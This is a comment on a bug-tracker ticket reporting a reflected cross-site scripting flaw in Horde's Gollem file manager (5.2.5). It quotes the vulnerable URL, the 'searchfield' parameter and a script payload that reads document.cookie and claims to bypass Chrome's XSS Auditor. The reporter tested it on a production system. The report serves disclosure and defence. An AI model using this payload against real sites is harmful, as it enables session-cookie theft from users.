Tickets :: Comment on [#14213] Reflected Cross-Site Scripting (XSS)

* Your Email Address
* Spam protection	Enter the letters below: .___..___.. ..___.___ _/ \| \|_/ [__ [__ ./__. \| \| \[___[___
Comment	> Hey guys, > > I've found a XSS flaw on a gollem in Horde (5.2.5) application that's > being used has a plugin in roundecube for file management, I only > tried in prod. > > [domain]xplorer/gollem/manager.php?searchfield=%22%22%3E%3Cscript/src=data:,alert(document.cookie)%2b%22&x=0&y=0 > > Variable: searchfield > The payload: > ""><!--a75c305b1c0a6022--><script/src=data:,alert(document.cookie)%2b" (With > Chrome XSS-Auditor bypass) > > Input validation in the search field should be enough to stop the attack. > > I can post on the bug mailist if you want. > > Thank You.
Attachment
Watch this ticket